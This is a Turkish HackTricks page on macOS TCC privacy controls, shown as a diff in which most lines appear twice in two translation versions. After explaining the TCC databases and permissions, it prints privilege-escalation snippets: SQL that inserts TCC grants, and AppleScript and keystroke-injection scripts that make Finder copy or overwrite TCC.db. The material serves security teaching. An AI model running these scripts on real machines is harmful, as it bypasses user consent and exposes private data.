* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* Hacking püf noktalarınızı paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,41 +2,41 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin. * 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## **Temel Bilgiler** ## **Temel Bilgiler**
**TCC (Şeffaflık, Onay ve Kontrol)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açıkça kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sahibi olmalarını sağlar. **TCC (Transparency, Consent, and Control)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açık kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sağlar.
Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı aracılığıyla görülebilir. Ayrıca, TCC, **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler ve uygulamaların yalnızcaıkça izin verilenlere erişim sağlamasını sağlar. Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı aracılığıyla görülebilir. Ayrıca, TCC, **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler ve uygulamaların sadeceıkça izin verilenlere erişim sağlamasını sağlar.
![Bir TCC uyarı örneği](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) ![Bir TCC uyarı örneği](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC**, `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` konumunda bulunan **daemon** tarafından işlenir ve `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` dosyasında yapılandırılır (`com.apple.tccd.system` mach servisini kaydeder). **TCC**, `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` konumunda bulunan **daemon** tarafından yönetilir ve `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` dosyasında yapılandırılır (`com.apple.tccd.system` mach servisini kaydeder).
Her oturum açılan kullanıcı için tanımlanan `/System/Library/LaunchAgents/com.apple.tccd.plist` dosyasında çalışan bir **kullanıcı modu tccd** bulunur ve `com.apple.tccd` ve `com.apple.usernotifications.delegate.com.apple.tccd` mach servislerini kaydeder. Her oturum açılan kullanıcı için tanımlanan `/System/Library/LaunchAgents/com.apple.tccd.plist` dosyasında çalışan bir **kullanıcı modu tccd** bulunur ve `com.apple.tccd` ve `com.apple.usernotifications.delegate.com.apple.tccd` mach servislerini kaydeder.
Burada sistem olarak çalışan tccd'yi ve kullanıcı olarak çalışan tccd'yi görebilirsiniz: Burada sistem ve kullanıcı olarak çalışan tccd'yi görebilirsiniz:
```bash ```bash
ps -ef | grep tcc ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
``` ```
İzinler **ana uygulamadan miras alınır** ve **izinler** **Bundle ID** ve **Developer ID**'ye göre izlenir. İzinler **ana uygulamadan miras alınır** ve **izinler** **Paket Kimliği** ve **Geliştirici Kimliği**ne göre **izlenir**.
### TCC Veritabanları ### TCC Veritabanları
İzinler/denetlemeler daha sonra bazı TCC veritabanlarında saklanır: İzinler daha sonra bazı TCC veritabanlarında saklanır:
- **`/Library/Application Support/com.apple.TCC/TCC.db`** içindeki sistem genelindeki veritabanı. - **`/Library/Application Support/com.apple.TCC/TCC.db`** içindeki sistem genelindeki veritabanı.
- Bu veritabanı **SIP korumalıdır**, bu yüzden yalnızca bir SIP atlatma işlemi yazabilir. - Bu veritabanı **SIP korumalıdır**, bu yüzden yalnızca bir SIP atlatma işlemi yazabilir.
@ -44,22 +44,22 @@ ps -ef | grep tcc
- Bu veritabanı, yalnızca Tam Disk Erişimi gibi yüksek TCC ayrıcalıklarına sahip işlemler yazabilir (ancak SIP tarafından korunmaz). - Bu veritabanı, yalnızca Tam Disk Erişimi gibi yüksek TCC ayrıcalıklarına sahip işlemler yazabilir (ancak SIP tarafından korunmaz).
{% hint style="warning" %} {% hint style="warning" %}
Önceki veritabanları ayrıca **okuma erişimi için TCC korumalıdır**. Bu nedenle, düzenli kullanıcı TCC veritabanını yalnızca TCC ayrıcalıklı bir işlemden okuyamazsınız. Önceki veritabanları ayrıca **okuma erişimi için TCC korumalıdır**. Bu nedenle, düzenli kullanıcı TCC veritabanını **TCC ayrıcalıklı bir işlemden okuyamazsınız**.
Ancak, bu yüksek ayrıcalıklara sahip bir işlem (FDA veya `kTCCServiceEndpointSecurityClient` gibi) kullanıcıların TCC veritabanını yazabilir. Ancak, bu yüksek ayrıcalıklara sahip bir işlem (FDA veya `kTCCServiceEndpointSecurityClient` gibi) kullanıcıların TCC veritabanını yazabilir.
{% endhint %} {% endhint %}
- **Üçüncü** bir TCC veritabanı **`/var/db/locationd/clients.plist`** içinde, konum hizmetlerine **erişime izin verilen istemcileri** belirtmek için. - **Üçüncü** bir TCC veritabanı **`/var/db/locationd/clients.plist`** içinde, konum hizmetlerine **erişime izin verilen istemcileri** belirtmek için.
- SIP korumalı dosya **`/Users/carlospolop/Downloads/REG.db`** (ayrıca TCC ile okuma erişimine karşı korunur), tüm **geçerli TCC veritabanlarının konumunu** içerir. - Okuma erişiminden TCC ile korunan **`/Users/carlospolop/Downloads/REG.db`** dosyası, tüm **geçerli TCC veritabanlarının konumunu** içerir.
- SIP korumalı dosya **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ayrıca TCC ile okuma erişimine karşı korunur), daha fazla TCC verilen izni içerir. - Okuma erişiminden TCC ile korunan **`/Users/carlospolop/Downloads/MDMOverrides.plist`** dosyası, daha fazla TCC verilen izni içerir.
- SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesidir. - Okunabilir olan **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** dosyası, bir TCC istisnası gerektiren uygulamaların izin listesidir.
{% hint style="success" %} {% hint style="success" %}
**iOS**'taki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir. **iOS**'deki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir.
{% endhint %} {% endhint %}
{% hint style="info" %} {% hint style="info" %}
**Bildirim merkezi UI**, **sistem TCC veritabanında değişiklikler yapabilir**: **Bildirim merkezi arayüzü**, **sistem TCC veritabanında değişiklikler yapabilir**:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -70,7 +70,7 @@ com.apple.rootless.storage.TCC
``` ```
{% endcode %} {% endcode %}
Ancak, kullanıcılar **kuralları silebilir veya sorgulayabilir** **`tccutil`** komut satırı yardımcı programı ile. Ancak, kullanıcılar **`tccutil`** komut satırı yardımcı programı ile **kuralları silebilir veya sorgulayabilir**.
{% endhint %} {% endhint %}
#### Veritabanlarını sorgulama #### Veritabanlarını sorgulama
@ -127,12 +127,12 @@ Her iki veritabanını da kontrol ederek bir uygulamanın izin verdiği, yasakla
{% endhint %} {% endhint %}
- **`service`**, TCC **izin** dizesinin temsilidir - **`service`**, TCC **izin** dizesinin temsilidir
- **`client`**, izinlere sahip olan **bundle ID** veya **binary yoludur** - **`client`**, izinlerle birlikte **bundle ID** veya **binary yolunu** içerir
- **`client_type`**, bir Bundle Kimliği(0) mi yoksa mutlak yol(1) mi olduğunu belirtir - **`client_type`**, Bundle Kimliği(0) veya mutlak yol(1) olup olmadığını belirtir
<details> <details>
<summary>Absolut yol olduğunda nasıl yürütülür</summary> <summary>Absolut yol ise nasıl yürütülür</summary>
Sadece **`launctl load you_bin.plist`** yapın, plist ile: Sadece **`launctl load you_bin.plist`** yapın, plist ile:
```xml ```xml
@ -175,7 +175,7 @@ Sadece **`launctl load you_bin.plist`** yapın, plist ile:
* **`auth_value`** farklı değerlere sahip olabilir: denied(0), unknown(1), allowed(2) veya limited(3). * **`auth_value`** farklı değerlere sahip olabilir: denied(0), unknown(1), allowed(2) veya limited(3).
* **`auth_reason`** aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) * **`auth_reason`** aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* **csreq** alanı, yürütülecek olan ikili dosyayı nasıl doğrulayacağını ve TCC izinlerini nasıl vereceğini belirtmek için bulunmaktadır: * **csreq** alanı, yürütülecek olan ikili dosyayı doğrulamanın ve TCC izinlerini vermenin nasıl belirtileceğini göstermek için bulunmaktadır:
```bash ```bash
# Query to get cserq in printable hex # Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2; select service, client, hex(csreq) from access where auth_value=2;
@ -193,7 +193,7 @@ echo "X'$REQ_HEX'"
``` ```
* Tablonun **diğer alanları** hakkında daha fazla bilgi için [**bu blog yazısına**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) göz atabilirsiniz. * Tablonun **diğer alanları** hakkında daha fazla bilgi için [**bu blog yazısına**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) göz atabilirsiniz.
Ayrıca, uygulamalara verilen izinleri `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünden kontrol edebilirsiniz. Ayrıca, `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünde uygulamalara verilen **izinleri zaten kontrol edebilirsiniz**.
{% hint style="success" %} {% hint style="success" %}
Kullanıcılar **`tccutil`** kullanarak **kuralları silebilir veya sorgulayabilir**. Kullanıcılar **`tccutil`** kullanarak **kuralları silebilir veya sorgulayabilir**.
@ -230,11 +230,11 @@ Bu nedenle, aynı adı ve paket kimliğini kullanan diğer uygulamalar, diğer u
### Yetkiler ve TCC İzinleri ### Yetkiler ve TCC İzinleri
Uygulamalar **sadece** bazı kaynaklara **erişim istemekle kalmaz**, aynı zamanda **ilgili yetkilere sahip olmalıdır**.\ Uygulamalar **sadece** bazı kaynaklara **erişim istemekle kalmaz**, aynı zamanda **ilgili yetkilere sahip olmalıdır**.\
Örneğin **Telegram**, kameraya **erişim istemek** için `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama** kameraya erişemez (ve kullanıcı izinleri bile istenmez). Örneğin **Telegram**, kameraya **erişim istemek** için `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama**, kameraya erişemez (ve kullanıcı izinleri için bile sorulmaz).
Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmesi** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya uyarı gösterecektir.** Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmek** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya soracak**tır.
Apple'ın uygulamaları **uyarılar oluşturmaz.** Onlar, **yetkilendirme listelerinde önceden verilmiş haklara** sahiptir, bu da **asla bir pencere oluşturmayacakları** ve **TCC veritabanlarında görünmeyecekleri** anlamına gelir. Örneğin: Apple'ın uygulamaları **pencere oluşturmaz**. Onlar, **yetki listelerinde önceden verilmiş haklara** sahiptir, bu da **asla bir pencere oluşturmayacakları** ve **TCC veritabanlarında görünmeyecekleri** anlamına gelir. Örneğin:
```bash ```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app codesign -dv --entitlements :- /System/Applications/Calendar.app
[...] [...]
@ -245,15 +245,15 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string> <string>kTCCServiceAddressBook</string>
</array> </array>
``` ```
Bu, Takvim'in kullanıcıya hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir. Bu, Takvim'in kullanıcıdan hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir.
{% hint style="success" %} {% hint style="success" %}
Yetkilendirmeler hakkında resmi belgelere ek olarak, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür. Yetkilendirmeler hakkında resmi belgelerin yanı sıra, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür.
{% endhint %} {% endhint %}
Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tümünü tanımlayan genel bir liste bulunmamaktadır, ancak [**bilinenlerin listesini**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz. Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tüm bunları tanımlayan genel bir liste bulunmamaktadır, ancak bu [**bilinenlerin listesini**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz.
### Hassas korunmasız yerler ### Hassas korumasız yerler
* $HOME (kendisi) * $HOME (kendisi)
* $HOME/.ssh, $HOME/.aws, vb. * $HOME/.ssh, $HOME/.aws, vb.
@ -261,7 +261,7 @@ Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC
### Kullanıcı Niyeti / com.apple.macl ### Kullanıcı Niyeti / com.apple.macl
Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir özniteliği** olarak saklanacaktır. Bu öznitelik, izin verilen uygulamanın **UUID'sini saklayacaktır**: Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir özniteliği** olarak saklanacaktır. Bu öznitelik, izin verilen uygulamanın **UUID'sini** saklayacaktır:
```bash ```bash
xattr Desktop/private.txt xattr Desktop/private.txt
com.apple.macl com.apple.macl
@ -277,18 +277,18 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
``` ```
{% hint style="info" %} {% hint style="info" %}
**`com.apple.macl`** özniteliğinin **Sandbox** tarafından yönetildiği, tccd tarafından değil, ilginçtir. **`com.apple.macl`** özniteliğinin **Sandbox** tarafından yönetilmesi, tccd tarafından değil, oldukça ilginçtir.
Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sine izin veren bir dosyayı farklı bir bilgisayara taşırsanız, çünkü aynı uygulamanın farklı UID'leri olacaktır, o uygulamaya erişim izni vermez. Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sine izin veren bir dosyayı farklı bir bilgisayara taşırsanız, çünkü aynı uygulamanın farklı UID'leri olacaktır, o uygulamaya erişim izni vermez.
{% endhint %} {% endhint %}
`com.apple.macl` genişletilmiş özniteliği, diğer genişletilmiş öznitelikler gibi **SIP** tarafından korunduğu için **temizlenemez**. Bununla birlikte, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırılmış dosyayımayı** devre dışı bırakmak mümkündür. `com.apple.macl` genişletilmiş özniteliği, diğer genişletilmiş öznitelikler gibi **SIP tarafından korunduğu için** **temizlenemez**. Bununla birlikte, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırmayı** devre dışı bırakmak mümkündür.
## TCC Privesc & Bypasses ## TCC Privesc & Bypasses
### TCC'ye Ekleme ### TCC'ye Ekleme
Bir noktada bir TCC veritabanı üzerinde yazma erişimi elde ederseniz, aşağıdakine benzer bir şeyi eklemek için şunu kullanabilirsiniz (yorumları kaldırın): Bir noktada bir TCC veritabanı üzerinde yazma erişimi elde ederseniz, aşağıdakine benzer bir şey kullanabilirsiniz (yorumları kaldırın):
<details> <details>
@ -336,7 +336,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
### TCC Yükleri ### TCC Yükleri
Eğer bir uygulamaya bazı TCC izinleriyle girdiyseniz, bunları kötüye kullanmak için aşağıdaki sayfayı kontrol edin: Eğer bir uygulamaya bazı TCC izinleriyle girdiyseniz, bunları kötüye kullanmak için TCC yükleri sayfasına bakın:
{% content-ref url="macos-tcc-payloads.md" %} {% content-ref url="macos-tcc-payloads.md" %}
[macos-tcc-payloads.md](macos-tcc-payloads.md) [macos-tcc-payloads.md](macos-tcc-payloads.md)
@ -345,13 +345,13 @@ Eğer bir uygulamaya bazı TCC izinleriyle girdiyseniz, bunları kötüye kullan
### Otomasyon (Finder) için FDA\* ### Otomasyon (Finder) için FDA\*
Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\ Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\
Bu belirli TCC izni aynı zamanda TCC veritabanı içinde **yönetilebilecek uygulamayı** belirtir (yani izinler sadece her şeyi yönetmeye izin vermez). Bu belirli TCC izni aynı zamanda TCC veritabanı içinde **yönetilebilecek uygulamayı** da belirtir (yani izinler sadece her şeyi yönetmeye izin vermez).
**Finder**, **her zaman FDA'ya sahip** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yapmasını sağlayabilirsiniz**.\ **Finder**, **her zaman FDA'ya sahip** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yaptırabilirsiniz**.\
Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır. Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır.
{% tabs %} {% tabs %}
{% tab title="Kullanıcıların TCC.db dosyasını çalma" %} {% tab title="Kullanıcıların TCC.db'sini Çalma" %}
```applescript ```applescript
# This AppleScript will copy the system TCC database into /tmp # This AppleScript will copy the system TCC database into /tmp
osascript<<EOD osascript<<EOD
@ -381,17 +381,17 @@ EOD
Bunu **kendi kullanıcı TCC veritabanınızı yazmak** için kullanabilirsiniz. Bunu **kendi kullanıcı TCC veritabanınızı yazmak** için kullanabilirsiniz.
{% hint style="warning" %} {% hint style="warning" %}
Bu izinle **finder'a TCC kısıtlı klasörlere erişim izni isteyebilir** ve dosyaları alabilirsiniz, ancak bildiğim kadarıyla Finder'ı **keyfi kod yürütmeye zorlayamazsınız** ve FDA erişimini tam olarak kötüye kullanamazsınız. Bu izinle **finder'a TCC kısıtlı klasörlere erişim isteyebilir** ve dosyaları alabilirsiniz, ancak bildiğim kadarıyla Finder'ı **keyfi kod yürütmeye zorlayamazsınız** ve FDA erişimini tam olarak kötüye kullanamazsınız.
Bu nedenle, tam FDA yeteneklerini kötüye kullanamayacaksınız. Bu nedenle, tam FDA yeteneklerini kötüye kullanamayacaksınız.
{% endhint %} {% endhint %}
Bu, Finder üzerinde Otomasyon ayrıcalıklarını almak için TCC isteği: Bu, Finder üzerinde Otomasyon ayrıcalıklarını almak için TCC istemidir:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %} {% hint style="danger" %}
**Automator** uygulamasının **`kTCCServiceAppleEvents`** TCC iznine sahip olması nedeniyle, Finder gibi herhangi bir uygulamayı **kontrol edebilir**. Bu nedenle, Automator'ı kontrol etme iznine sahip olduğunuzda aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz: **Automator** uygulamasının **`kTCCServiceAppleEvents`** TCC iznine sahip olması nedeniyle, Finder gibi herhangi bir uygulamayı **kontrol edebilir**. Bu nedenle, Automator'ı kontrol etme iznine sahip olduğunuzda aşağıdaki gibi bir kodla **Finder'ı da kontrol edebilirsiniz**:
{% endhint %} {% endhint %}
<details> <details>
@ -422,7 +422,7 @@ EOD
### Otomasyon (SE) bazı TCC'lere ### Otomasyon (SE) bazı TCC'lere
**Sistem Olayları Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir** (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir: **Sistem Olayları** Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir:
```bash ```bash
# Create script to execute with the action # Create script to execute with the action
cat > "/tmp/script.js" <<EOD cat > "/tmp/script.js" <<EOD
@ -464,11 +464,11 @@ EOD
touch "$HOME/Desktop/file" touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file" rm "$HOME/Desktop/file"
``` ```
### Otomasyon (SE) + Erişilebilirlik (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**) için FDA\* ### Otomasyon (SE) + Erişilebilirlik (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** to FDA\*
**`System Events`** üzerinde otomasyon + Erişilebilirlik (**`kTCCServicePostEvent`**) işlemlerine izin verir, bu sayede işlemlere tuş vuruşları gönderebilirsiniz. Bu şekilde Finder'ı kötüye kullanarak kullanıcıların TCC.db dosyasını değiştirebilir veya FDA'yı herhangi bir uygulamaya verebilirsiniz (ancak bunun için şifre istenebilir). **`System Events`** üzerinde otomasyon + Erişilebilirlik (**`TCCServicePostEvent`**) işlemlere **tuş vuruşları göndermeyi** sağlar. Bu şekilde Finder'ı kötüye kullanarak kullanıcıların TCC.db'sini değiştirebilir veya FDA'yı herhangi bir uygulamaya verebilirsiniz (ancak bunun için şifre istenebilir).
Finder'ın kullanıcıların TCC.db dosyasını üzerine yazma örneği: Finder'ın kullanıcıların TCC.db'sini üzerine yazma örneği:
```applescript ```applescript
-- store the TCC.db file to copy in /tmp -- store the TCC.db file to copy in /tmp
osascript <<EOF osascript <<EOF
@ -514,40 +514,40 @@ keystroke "v" using {command down}
end tell end tell
EOF EOF
``` ```
### `kTCCServiceAccessibility`'dan FDA\* için ### `kTCCServiceAccessibility`'dan FDA\* a
[**Erişilebilirlik izinlerini** kötüye kullanmak için bazı payloadlar için bu sayfaya](macos-tcc-payloads.md#accessibility) bakın ve örneğin FDA\* için ayrıcalık yükseltme veya bir tuş kaydedici çalıştırma. [**Erişilebilirlik izinlerini kötüye kullanmak için bazı yükler**](macos-tcc-payloads.md#accessibility) için bu sayfaya bakın ve örneğin FDA\* a yükseltme veya bir tuş kaydedici çalıştırma.
### **FDA için Endpoint Security Client** ### **FDA için Endpoint Güvenlik İstemcisi**
Eğer **`kTCCServiceEndpointSecurityClient`**'e sahipseniz, FDA'ya sahipsiniz. Son. Eğer **`kTCCServiceEndpointSecurityClient`**'e sahipseniz, FDA'ya sahipsiniz. Son.
### System Policy SysAdmin Dosyası için FDA ### Sistem Politikası SysAdmin Dosyası için FDA
**`kTCCServiceSystemPolicySysAdminFiles`**, bir kullanıcının ev klasörünü değiştiren **`NFSHomeDirectory`** özniteliğini **değiştirmeyi** sağlar ve bu nedenle **TCC'yi atlamayı** mümkün kılar. **`kTCCServiceSystemPolicySysAdminFiles`**, bir kullanıcının ev klasörünü değiştiren **`NFSHomeDirectory`** özniteliğini **değiştirmeyi** sağlar ve bu nedenle **TCC'yi atlaymanıza** olanak tanır.
### Kullanıcı TCC DB'si için FDA ### Kullanıcı TCC DB'si için FDA
Kullanıcı TCC veritabanı üzerinde **yazma izinleri** elde etmek FDA izinlerini kendinize veremezsiniz, yalnızca sistem veritabanında yaşayan kişi bunu yapabilir. Kullanıcı TCC veritabanı üzerinde **yazma izinleri** elde etmek, kendinize **`FDA`** izinleri veremez, yalnızca sistem veritabanında yaşayan kişi bunu verebilir.
Ancak kendinize **`Finder için Otomasyon hakları`** verebilir ve FDA\*'a yükseltmek için önceki teknikten yararlanabilirsiniz. Ancak kendinize **`Finder için Otomasyon hakları`** verebilir ve FDA\* a yükselmek için önceki teknikten yararlanabilirsiniz.
### **FDA'dan TCC izinlerine** ### **FDA'dan TCC izinlerine**
**Tam Disk Erişimi** TCC adı **`kTCCServiceSystemPolicyAllFiles`** **Tam Disk Erişimi** TCC adı **`kTCCServiceSystemPolicyAllFiles`**
